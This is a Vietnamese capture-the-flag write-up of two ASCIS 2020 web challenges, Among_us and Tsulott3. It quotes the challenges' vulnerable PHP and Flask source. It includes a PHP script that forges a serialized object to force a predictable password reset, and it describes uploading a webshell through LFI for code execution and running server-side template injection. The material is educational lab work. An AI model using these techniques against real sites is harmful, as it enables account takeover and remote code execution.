ASCIS 2020 WRITEUP WEB CHALLENGES - Among us & Tsulott3

ASCIS 2020 WRITEUP WEB CHALLENGES - Among us & Tsulott3

Sau vài hôm đi tổng hợp thì cuối cùng mình cũng tìm ra được source của 2 challenge ở svattt qual 2020. Ở vòng loại năm này thì có vẻ như có 4 challs: 2 challenge java về rmi thì đã có trên github của anh tsu (cả source + solution) vì vậy mình sẽ chỉ viết writeup cho 2 chall còn lại: Among_usTsulott3. Ở cuối mình sẽ bonus thêm source + link wu cho 2/3 challenges final round.


Contents


Among_us

Setup

Source code có thể tải ở đây. Bài này thì có người đã build lại docker server rồi nên chỉ cần run thôi 🥰. À nhớ tạo thêm thư mục crew_upload trong thư mục www nhé không thì tí nữa sẽ bị báo lỗi. Một lưu ý nữa là tác giả chỉ tạo lại challenge dựa trên những file cần thiết nên sẽ không có một vài file như crew.php, cafeteria.php ... và không có hình 😗.

Phân tích

Phần lớn các trang khi truy cập vào đều hiển thị Unauthorized trừ forgot.phplogin.php:

Điểm đáng chú ý nữa là ta có thể khai thác lỗi LFI ở page parameter:

\=> Làm tương tự như vậy để lấy hết source file về.

forgot.php hiển thị ra cho ta một ô để nhập token và chức năng là dùng để reset password.

Nhảy vào đọc source của nó, chú ý đoạn code php sau:

if(isset($_POST["ticket"]) && !empty($_POST["ticket"]))
{
    if($_SESSION["form_token"]===$_POST["token"]) {
        unset($_SESSION['form_token']);
        $_SESSION["form_token"] = md5(uniqid(rand(), true));
        $ticket = unserialize(base64_decode($_POST["ticket"]));
        //var_dump($ticket);
        //var_dump($ticket->name);
        $username = $ticket->name;
        $secret_number = $ticket->secret_number;
        $count = check_user_exists($conn, $username);
        if($count === 1)
        {    
            if(check_length($secret_number, 9)) {
                $secret_number = strtoupper($secret_number);
                $secret_number = check_string($secret_number);
                $secret = get_secret($conn,$username);
                var_dump($secret_number);
                var_dump($secret);

                if($secret_number !== $secret) {
                    print("Wrong secret!");
                }
                else
                {
                print("OK, we will send you the new password");}
                print $secret_number;
                $random_rand = rand(0,$secret_number);
                srand($random_rand);
                $new_password = "";
                while(strlen($new_password) < 30) {
                    $new_password .= strval(rand());
                }
                reset_password($conn, $username, $new_password);
                //to do: send mail the new password to the user, code later
                //print($new_password);
            }
            else
            {
                print("sai length");
                print("<center>IMPOSTOR ALERT!!!!</center>");
            }
        }
        else
        {
            //print $count;
            print("sai count");
        }
    }
    else
    {
        print("sai token");
    }
}

$ticket sẽ được khôi phục lại từ $_POST["ticket"]. Sau đó lấy ra namesecret_number từ object này. Tìm kiếm một hồi thì biết được có thể nó là một instance tạo từ class CrewMate trong lib.php.

Tiếp theo là check_user_exists(), đòi hỏi username lấy từ $ticket->name phải tồn tại trong db. Suy ra ta cần có một username hợp lệ, cái này tác giả đã cung cấp trong crew.php và vì ta đã tự build lại challenge nên có thể tạo sẵn một vài user.

Khi thỏa mãn điều kiện ở trên thì tiếp tục là kiểm tra check_length($secret_number, 9), từ code của hàm này -> có thể truyền string, array ... miễn là thỏa = 9

function check_length($input, $length) {
    return strlen($input)==$length || count($input)==$length || sizeof($input)==$length;
}

Sau đó nữa là strtoupper(), check_string(), get_secret() ... và reset_password(). Tinh mắt một tí sẽ thấy rằng nếu điều kiện $secret_number !== $secret thỏa hay không thì đều thực hiện reset password.

Mục đích của ta là làm sao để lấy được password sau khi được reset. Password này được tạo dựa trên strval(rand()), suy ra phải biết được $random_rand (đọc thêm về srand()đây), $random_rand lại được tạo dựa trên rand(0,$secret_number). Mà một điều thú vị là rand(0,NULL)=0 và để cho nó xảy ra thì strtoupper() phải return NULL.

\=> secret_number phải là một array.

và để thỏa điều kiện check_length() ở trên nữa thì array này cần 9 phần tử.

Exploit

Script tạo token:

<?php

class CrewMate {
    public $name;
    public $secret_number;
}


$cm = new CrewMate();
$cm -> name = "yellow";

$cm -> secret_number = range(1,9);
echo base64_encode(serialize($cm));

Gửi token để reset password:

Script để lấy password sau khi reset:

$secret_number = NULL;
$random_rand = rand(0, $secret_number);
srand($random_rand);
$new_password = "";
while(strlen($new_password) < 30) {
    $new_password .= strval(rand());
}
print $new_password; //117856802212731241191535857466

Login với yellow:117856802212731241191535857466

Hiển thị như vầy nghĩa là đã thành công.

Bây giờ ta chuyển sang page electrical.php

Thử upload một file bình thường:

Trang web sẽ hiện ra thêm nút download, tên của file nằm trong file zip: php0YStEz+test.txt và sau khi Download, ta biết được luôn tên của file zip:

Bước cuối cùng là upload một webshell, sau đó sử dụng LFI ở index.php để RCE với ?page=/tmp/<new_web_shell_name>.

Hmmm, sau một hồi mò mẫm thì có vẻ như flag không nằm ở các file trên server.

Thử upload script để đọc flag từ database:

P/S: Thú thật thì challenge này lúc mình đi mò tưởng không có source nên quyết định đi đọc writeup luôn, ai dè source code họ để ở cuối bài viết. Có thể coi như là mình viết lại để học hỏi từ wu của người ta 😢 bài viết gốc có thể xem tại đây.


Tsulott3

Setup

Down source ở đây.

Overview

Build xong access tới http://127.0.0.1:5000 ta có một trang để nhập tên:

Sau khi nhập xong ấn Go thì sẽ được chuyển tới một trang mới:

Yêu cầu ta nhập 6 con số, cóp nguyên cái example luôn cho lẹ 😁:

Có vẻ như đoán sai rồi ~~~ Sau đó ta được redirect tới một trang reset access và lại redirect về trang ban đầu.

Phân tích

Bài này thì có vẻ là dễ thở hơn bài trước. Nhìn qua source code thì sẽ có 3 route /, /guess, /reset_access.

  • Route /:
@app.route("/", methods=["GET","POST"])
def index():
    try:
        session.pop("name")
        session.pop("jackpot")
    except:
        pass
    if request.method == "POST":
        ok = request.form['ok']
        session["name"] = request.form['name']
        if ok == "Go":
            session["check"] = "access"
            jackpot = " ".join(str(x) for x in [ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99)]).strip()
            session["jackpot"] = jackpot
            return render_template_string("Generating jackpot...<script>setInterval(function(){ window.location='/guess'; }, 500);</script>")
    return render_template("start.html")

try except để lấy ra namejackpot từ session. Nếu method là POST thì lấy ra okname từ POST request sau đó gán name cho session["name"]. Nếu ok=="Go" thì sẽ gán session["check"] = "access" tạo random một jackpot và gán vào session["jackpot"] và redirect tới /guess.

  • Route /guess
@app.route('/guess', methods=["GET","POST"])
def guess():
    try:
        if check_session("check") == "":
            return render_template_string(cheat+check_session("name"))
        else:
            if request.method == "POST":
                jackpot_input = request.form['jackpot']
                print(jackpot_input + "\n")
                print(check_session("jackpot"))
                if jackpot_input == check_session("jackpot"):
                    mess = "Really? GG "+check_session("name")+", here your flag: ASCIS{xxxxxxxxxxxxxxxxxxxxxxxxx}"
                elif jackpot_input != check_session("jackpot"):
                    mess = "May the Luck be with you next time!<script>setInterval(function(){ window.location='/reset_access'; }, 1200);</script>"
                return render_template_string(mess)
            return render_template("guess.html")
    except:
        pass
    return render_template_string(cheat+check_session("name"))

Ở route này đoạn cần chú ý là nó sẽ lấy jackpot từ POST request và so sánh với jackbot lưu trong session. Nếu thỏa thì sẽ lấy được flag ngược lại redirect đến /reset_access.

  • Route /reset_access
@app.route('/reset_access') 
def reset(): 
    try: 
        session.pop("check") 
        return render_template_string("Reseting...<script>setInterval(function(){ window.location='/'; }, 500);</script>")        
    except: 
        pass
    return render_template_string(cheat+check_session("name"))

try lấy check từ trong session nếu có exception thì passrender_template_string(cheat+check_session("name")). Mình lợi dụng route này để perform ssti.

Exploit

Luồng khai thác sẽ như sau:

  • POST đến / với name=<ssti payload>ok="cc" mục đích là để cho session["name"] = <ssti payload>jackpot không được set random.

  • GET đến /reset_access để thực thi ssti payload (payload của mình là set cho jackpot=to^&check=access)

  • Cuối cùng là POST đến /guess với jackpot=to^


Challenges ở final

Ở final thì ngoài mojarra_war có 2 challenges nữa là FADating, Instargram. 2 challenge này cũng rất hay nhưng tiếc là mình không tìm được source hoàn chỉnh, chỉ có source cho player. Các bạn có thể tải ở đây, mình cũng đã đính kèm link writeup của từng challenge.